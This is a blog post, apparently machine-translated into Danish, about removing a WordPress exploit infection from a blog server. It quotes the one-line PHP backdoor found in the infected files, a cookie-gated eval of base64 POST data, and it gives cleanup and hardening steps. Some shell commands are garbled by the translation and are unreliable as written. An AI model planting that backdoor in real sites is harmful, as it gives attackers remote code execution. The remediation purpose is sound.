WordPress Udnyttelse - Ryd op i virusfiler, SQL og serversikkerhed.

Før du læser dette indlæg, bør du se post her, For at forstå noget. :)

Jeg fandt det i flere blogfiler på stealthsettings.com, koder svarende til dem nedenfor, dukkede op som et resultat af at være inficeret med bedriften ved WordPresse.:

si

<?php if($_COOKIE[’44e827f9fbeca184′]==”5cd3c94b4b1c57ea”){ eval(base64_decode($_POST[‘file’])); exit; } ?>

Hvis ovenstående er om filen xmlrpc.php fra Sleepy, Ved en grep server, ligner en hel del af denne art i kildekoder.

Rensning af inficerede filer:

Ooookkkk ...
1. Den bedste løsning, da det er gjort backupOg rengøres databasen er at Fjern filer WordPresse (du kan gemme wp-config.php og filer, der ikke er nøje relateret til wp-platformen, efter at de er nøje kontrolleret) fra serveren og uploade de originale fra versionen 2.5.1 (Ved denne lejlighed og lave en version opgradering wp :)) http://wordpress.org/download/ . Tør herunder tema-filer, hvis du ikke har tillid til, at deres omhyggelig kontrol.

Det synes at have været påvirket, og filer af de temaer, der ikke har været brugt før på bloggen og blot at ændre det tema, løser ikke problemet.

./andreea/wp-content/themes/default/index.php:

2. Søg og slette alle filer, der indeholder:... * _new.php, * _old.php, * Jpgg, * Giff, * Pngg og wp-info.txt fil, hvis nogen.

Find. -navn “* _new.php”
Find. -navn “* _old.php”
Find. -navn "* .jpgg"
Find. -navn “* _giff”
Find. -navn “* _pngg”
Find. -navn “wp-info.txt”

3. i / Tmp , Søg og slette mapper som tmpYwbzT2

SQL Rengøring :

1. i Table Table wp_options Kontroller for og slette linjerne: internal_links_cache, rss_f541b3abd05e7962fcab37737f40fad8 si wordpress_options.

2. Alt i wp_options, gå til active_plugins og slette, hvis der er et plugin, der ender i en af ​​de udvidelser * _new.php, * _old.php *. jpgg *. giff *. pngg eller hvis et andet lokalnummer er mistanke kontrollere omhyggeligt.

3. I tabel wp_users, Se om der er en bruger, der ikke har skrevet noget i hans højre, kolonnen user_nicename. Slet denne bruger, men husk nummeret i ID-kolonnen. Denne bruger vil sandsynligvis bruge "WordTryk på" som user_login er oprettet og vises på 00: 00: 00 0000-00-00.

4. Gå til tabellen wp_usermeta og slette alle linjer tilhørende ID ovenfor.

Når du har udført denne SQL-oprydning, skal du deaktivere og derefter aktivere ethvert plugin. (i blog -> Dashboard -> Plugins)

Secure Server:

1. Se, hvad mapper og filer "skrivbar"(chmod 777) og prøv at sætte en chmod som ikke længere vil tillade deres skrivning på noget niveau. (chmod 644, for eksempel)

Find. -Perm-2-ls

2. Se, hvad filer har bit sæt SUID eller sgid . Hvis du ikke bruger disse filer lægge på dem chmod 0 eller afinstallere den pakke, som den indeholder. De er meget farlige, da de kørerettigheder "gruppe"Eller"rod"Ikke med normale brugerrettigheder til at udføre den pågældende fil.

find /-type F-perm-04000-ls
find /-type F-perm-02000-ls

3. Check hvilke porte er åbne og forsøger at lukke eller sikre dem, der ikke bruges.

netstat-an | grep-i lytter

Så meget. Jeg ser Nogle blogs er forbudt de Google Search og andre siger "Han gjorde dem godt!!!" . Nå, jeg ville have gjort det for dem... men hvad siger du, hvis Google begynder at forbyde alle websteder danner  IS SPAM og sætte Trojans (Trojan.Clicker.HTML) i cookies?